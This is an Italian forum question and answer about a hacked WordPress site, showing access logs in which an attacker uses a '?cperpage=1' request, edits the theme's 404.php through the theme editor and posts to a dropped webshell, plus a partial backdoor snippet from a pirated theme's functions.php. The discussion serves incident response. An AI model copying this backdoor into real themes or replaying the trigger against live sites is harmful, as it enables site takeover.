Come può un hacker accedere all'area amministrativa di Wordpress?

2

Ho due siti che sembrano essere stati violati. Ho controllato i log di accesso e ho trovato queste voci di registro:

"GET / HTTP/1.1" 200 20213 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25328 "http://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25329 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25328 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-admin/theme-editor.php?file=404.php HTTP/1.1" 200 19478 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-admin/theme-editor.php HTTP/1.1" 302 0 "http://example.com/wp-admin/theme-editor.php?file=404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-admin/theme-editor.php?file=404.php&theme=sahifa&scrollto=0&updated=true HTTP/1.1" 200 19649 "http://example.com/wp-admin/theme-editor.php?file=404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-content/themes/sahifa/404.php HTTP/1.1" 200 162 "http://example.com/wp-admin/theme-editor.php?file=404.php&theme=sahifa&scrollto=0&updated=true" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/404.php HTTP/1.1" 200 162 "http://example.com/wp-content/themes/sahifa/404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"

In base a queste voci di registro, se un hacker può accedere a wp-admin/theme-editor.php nel mio sito e modificare la pagina 404.php del mio tema per aggiungere il loro codice come punto di partenza.

Usando i codici aggiunti al mio 404.php lui / lei potrebbe postare dati specifici su questa pagina e creare i file richiesti come strumenti per i prossimi passi di un attacco come accesson.php .

La mia domanda è, come potrebbe un hacker eseguire codice con privilegi di amministratore? È una specie di bug o potrebbe accedervi a causa del malware che era in esecuzione sul mio client durante la modifica del mio sito? O è stata una errata configurazione del mio sito Web che ha portato a questo?

Domanda aggiuntiva: quale era la sua intenzione di inviare richieste di ottenere come GET /?cperpage=1 ? Stanno solo cercando di rilevare CMS sul mio sito o qualcos'altro?

P.S. Ho scansionato il file 404.php compromesso nel totale dei virus ed è stato identificato come Generic.PHP.RansomA.8D9B55CA o CPR1E7F.Webshell da alcuni di antivirus.

Aggiornamenti:

Ho chiamato il mio sito con example.com/?cperpage=1 e alla fine aprendo la mia home page dopo questa chiamata, l'apertura del mio sito con accesso amministrativo. Non so come questa chiamata abbia portato all'escalation dei privilegi. Ho guardato dentro i miei codici sito e ho potuto trovare sotto i dettagli. cperpage è utilizzato all'interno di /wp-content/themes/sahifa/functions.php . Ecco lo snippet:

function _prepared_widget(){
   ....
   ....
   if(!isset($perpage)) $perpage=$_GET["cperpage"];
   ....
    if ($use_link ) {
        if($forces_more) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;

}
add_action("init", "_prepared_widget");

Esistono modi per aggirare questa vulnerabilità?

    
posta VSB 30.07.2018 - 00:13
fonte

1 risposta

2

Potresti aver scaricato il tema annullato dai siti di condivisione file. Tema ha un codice backdoor che consente a malintenzionato di accedere al tuo sito web e modificarlo.

Il tuo codice dice chiaramente che è compromesso, non provare a correggere il codice in quanto gli hacker di solito hanno backdoor multipli e ne useranno uno alla volta.

È meglio esportare il contenuto di WordPress in XML e quindi importarlo in un nuovo account WordPress nuovo con il tema acquistato legalmente. Assicurati di nuke il tuo account di hosting prima di installare nuovo WordPress.

    
risposta data 30.07.2018 - 06:27
fonte

Leggi altre domande sui tag